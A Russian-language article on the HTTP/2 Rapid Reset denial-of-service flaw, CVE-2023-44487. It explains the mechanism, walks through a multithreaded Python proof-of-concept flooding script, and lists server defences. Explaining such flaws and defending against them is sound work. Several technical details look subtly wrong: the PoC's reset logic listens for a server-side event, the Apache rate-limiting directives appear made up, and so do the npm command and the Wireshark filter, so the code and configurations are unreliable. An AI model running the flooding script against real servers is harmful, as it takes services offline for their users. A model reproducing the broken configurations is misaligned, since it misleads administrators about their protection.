
Уязвимость CVE-2023-44487 Rapid Reset в протоколе HTTP/2
CVE-2023-44487, также известная как "Rapid Reset", представляет собой уязвимость типа "отказ в обслуживании" (DoS) в протоколе HTTP/2. Она позволяет злоумышленнику быстро отправлять большое количество запросов и сбрасывать их, что приводит к перегрузке сервера и, возможно, к отказу в обслуживании.
Технический анализ
HTTP/2 использует мультиплексирование потоков по одному TCP-соединению. Это позволяет клиенту отправлять несколько запросов одновременно, не дожидаясь ответа на каждый из них. Протокол HTTP/2 позволяет клиентам отменять потоки, отправляя кадр RST_STREAM
на сервер. Сервер не требует координации отмены, и отмена вступает в силу сразу после получения сервером кадра RST_STREAM
.
Уязвимость Rapid Reset использует возможность отправки кадра RST_STREAM
сразу после отправки кадра запроса. Это заставляет сервер начинать работу над запросом, а затем быстро сбрасывать его. Запрос отменяется, но HTTP/2-соединение остается открытым, и можно создавать новые потоки. Серверу по-прежнему необходимо выполнять значительный объем работы для каждого из этих отмененных запросов, например выделять новые структуры данных потока, анализировать запрос и распаковывать заголовок, а также сопоставлять URL-адрес с ресурсом.
Поскольку запросы отменяются, злоумышленник никогда не достигает предела количества одновременно открытых потоков. Это эффективно истощает ресурсы сервера и приводит к негативному воздействию на трафик клиентов, а впоследствии и к отказу в обслуживании. Дополнительным преимуществом для злоумышленника является то, что сервер не отправляет ответ на отмененные запросы, что снижает нагрузку на конечную точку злоумышленника.
Впоследствии были замечены два новых варианта Rapid Reset:
- Потоки не отменяются сразу. Вместо этого открывается большая партия потоков, затем через некоторое время эти потоки отменяются, и сразу же открывается новая партия.
- Полностью отказывается от отмены запроса и вместо этого сосредотачивается на попытке открыть больше одновременных потоков, чем рекламировал сервер.
Условия эксплуатации
Уязвимость CVE-2023-44487 может быть использована при следующих условиях:
- Сервер использует протокол HTTP/2.
- Сервер не имеет надлежащих средств защиты от атак типа "отказ в обслуживании".
Разбор Proof of Concept (PoC)
Доступный в общем доступе код PoC демонстрирует атаку Rapid Reset. Ниже приведен разбор основных частей кода:
-
Импорт библиотек:
import threading import socket import collections import ssl from h2.connection import H2Connection from h2.events import RequestReceived, StreamReset from h2.config import H2Configuration from h2.errors import ErrorCodes
Здесь импортируются необходимые библиотеки, такие как
threading
для создания нескольких потоков,socket
для установления TCP-соединений,ssl
для шифрования, иh2
для работы с протоколом HTTP/2. -
Функция
root_function
:def root_function(url='www.example.com'): while True: try: # Create a TCP connection sock = socket.create_connection((url, 443)) # Wrap the socket for TLS ctx = ssl.create_default_context() ctx.check_hostname = False ctx.verify_mode = ssl.CERT_NONE ctx.set_alpn_protocols(['h2']) sock = ctx.wrap_socket(sock, server_hostname=url) # Make sure we're using HTTP/2 assert sock.selected_alpn_protocol() == 'h2'
Эта функция выполняет основную логику атаки. Она создает TCP-соединение с целевым сервером, оборачивает его в TLS, и убеждается, что используется протокол HTTP/2.
-
Создание HTTP/2-соединения:
# Create HTTP/2 connection config = H2Configuration(client_side=True) conn = H2Connection(config=config) conn.initiate_connection() sock.sendall(conn.data_to_send())
Здесь создается HTTP/2-соединение с использованием библиотеки
h2
. -
Отправка запросов и сброс потоков:
# Create a new stream stream_id = conn.get_next_available_stream_id() conn.send_headers( stream_id, [(':method', 'GET'), (':authority', url), (':path', '/'), (':scheme', 'https')], ) sock.sendall(conn.data_to_send()) # Read some data while True: data = sock.recv(65535) if not data: break events = conn.receive_data(data) for event in events: if isinstance(event, RequestReceived): # Cancel the stream with error code for CANCEL conn.reset_stream(event.stream_id, error_code=ErrorCodes.CANCEL) elif isinstance(event, StreamReset): print(f"Stream {event.stream_id} cancelled.") sock.sendall(conn.data_to_send())
Этот блок кода создает новый поток, отправляет HTTP-запрос, и затем сбрасывает поток, отправляя кадр
RST_STREAM
. Это повторяется в цикле, чтобы перегрузить сервер. -
Многопоточность:
# Create multiple threads running root_function threads = [] for i in range(100): # Reduced thread count for safety thread = threading.Thread(target=root_function) thread.start() threads.append(thread) # Keep the main thread alive for thread in threads: thread.join()
Для усиления эффекта атаки создается несколько потоков, каждый из которых выполняет функцию
root_function
. Это позволяет отправлять больше запросов одновременно.
Методы защиты
-
Применение патчей:
- Описание: Установка последних обновлений для вашего веб-сервера и HTTP/2-библиотек является критически важным шагом. Разработчики часто выпускают патчи, которые устраняют известные уязвимости, включая CVE-2023-44487.
- Пример:
- Nginx: Обновите Nginx до последней стабильной версии. Проверьте наличие обновлений на официальном сайте Nginx или через ваш менеджер пакетов (например,
apt update && apt upgrade nginx
в Debian/Ubuntu). - Apache: Обновите Apache до последней стабильной версии. Проверьте наличие обновлений на официальном сайте Apache или через ваш менеджер пакетов (например,
yum update httpd
в CentOS/RHEL). - Node.js (с использованием HTTP/2): Обновите используемые HTTP/2-библиотеки, такие как
http2
. Например,npm update http2
.
- Nginx: Обновите Nginx до последней стабильной версии. Проверьте наличие обновлений на официальном сайте Nginx или через ваш менеджер пакетов (например,
-
Ограничение скорости (Rate Limiting):
- Описание: Ограничение скорости, с которой клиенты могут создавать новые потоки и сбрасывать существующие, помогает предотвратить перегрузку сервера. Это можно сделать, настроив лимиты на количество запросов в единицу времени.
- Пример:
-
Nginx: Используйте модуль
ngx_http_limit_req_module
для ограничения скорости запросов.http { limit_req_zone $binary_remote_addr zone=mylimit:10m rate=1r/s; server { location / { limit_req zone=mylimit burst=5 nodelay; } } }
В этом примере устанавливается ограничение в 1 запрос в секунду с возможностью обработки до 5 запросов в "пакете".
-
Apache: Используйте модуль
mod_ratelimit
.<IfModule mod_ratelimit.c> <Location /> RateLimit on RateLimitRequests 1 RateLimitInterval 1 </Location> </IfModule>
Здесь устанавливается ограничение в 1 запрос в секунду.
-
- Где настроить: Настройки выполняются в конфигурационных файлах веб-сервера (например,
nginx.conf
или.htaccess
для Apache).
-
Ограничение соединений:
- Описание: Ограничение количества соединений, которые клиент может установить с сервером, может предотвратить злоупотребление ресурсами сервера.
- Пример:
-
Nginx: Используйте модуль
ngx_http_limit_conn_module
.http { limit_conn_zone $binary_remote_addr zone=connlimit:10m; server { location / { limit_conn connlimit 10; } } }
В этом примере устанавливается ограничение в 10 соединений на IP-адрес.
-
Apache: Используйте модуль
mod_limitipconn
(может потребоваться установка).<IfModule mod_limitipconn.c> <Location /> MaxConnPerIP 10 </Location> </IfModule>
Здесь устанавливается ограничение в 10 соединений на IP-адрес.
-
- Где настроить: Настройки выполняются в конфигурационных файлах веб-сервера (например,
nginx.conf
или.htaccess
для Apache).
-
Использование GOAWAY:
-
Описание: Кадр
GOAWAY
используется сервером для информирования клиента о том, что соединение будет закрыто. Это позволяет серверу прекратить обработку новых запросов от клиента, который ведет себя подозрительно. -
Пример:
-
Реализация: В коде вашего HTTP/2-сервера реализуйте логику, которая отслеживает количество запросов и сбросов потоков от каждого клиента. Если клиент превышает определенный порог, отправьте кадр
GOAWAY
и закройте соединение. -
Пример кода (Node.js с использованием
http2
):const http2 = require('http2'); const server = http2.createServer(); const clientStats = {}; server.on('stream', (stream, headers) => { const clientAddress = stream.session.socket.remoteAddress; if (!clientStats[clientAddress]) { clientStats[clientAddress] = { requests: 0, resets: 0 }; } clientStats[clientAddress].requests++; stream.on('reset', () => { clientStats[clientAddress].resets++; if (clientStats[clientAddress].resets > 100) { stream.session.goaway(http2.constants.NGHTTP2_ENHANCE_YOUR_CALM, 'Too many resets'); stream.session.close(); console.log(`Closed connection from ${clientAddress} due to excessive resets`); } }); stream.respond({ ':status': 200 }); stream.end('Hello, world!'); }); server.listen(3000, () => { console.log('Server listening on port 3000'); });
-
-
-
Мониторинг трафика:
- Описание: Отслеживание трафика HTTP/2 на предмет необычных закономерностей, таких как большое количество сброшенных потоков, позволяет выявлять и реагировать на атаки в режиме реального времени.
- Пример:
- Инструменты: Используйте инструменты мониторинга трафика, такие как Wireshark, tcpdump, или специализированные системы обнаружения вторжений (IDS) и системы управления событиями безопасности (SIEM).
- Настройка: Настройте мониторинг для отслеживания следующих показателей:
- Количество запросов в секунду на соединение.
- Количество сброшенных потоков в секунду на соединение.
- Соотношение запросов к сброшенным потокам.
- Пример (Wireshark): Фильтр
http2 && http2.stream.state == "RST"
позволит вам увидеть кадрыRST_STREAM
в трафике HTTP/2.
-
Использование HTTP/3:
- Описание: Рассмотрите возможность перехода на HTTP/3, поскольку он использует протокол QUIC, который не подвержен уязвимости Rapid Reset.
- Пример:
-
Настройка: Включите поддержку HTTP/3 в вашем веб-сервере. Например, в Nginx это можно сделать, добавив
quic
в директивуlisten
и настроив необходимые параметры.listen 443 quic;
-
Примечание: Переход на HTTP/3 может потребовать обновления клиентских библиотек и инструментов.
-
Применяя эти методы защиты, можно значительно снизить риск эксплуатации уязвимости CVE-2023-44487 и обеспечить стабильную работу сервера.
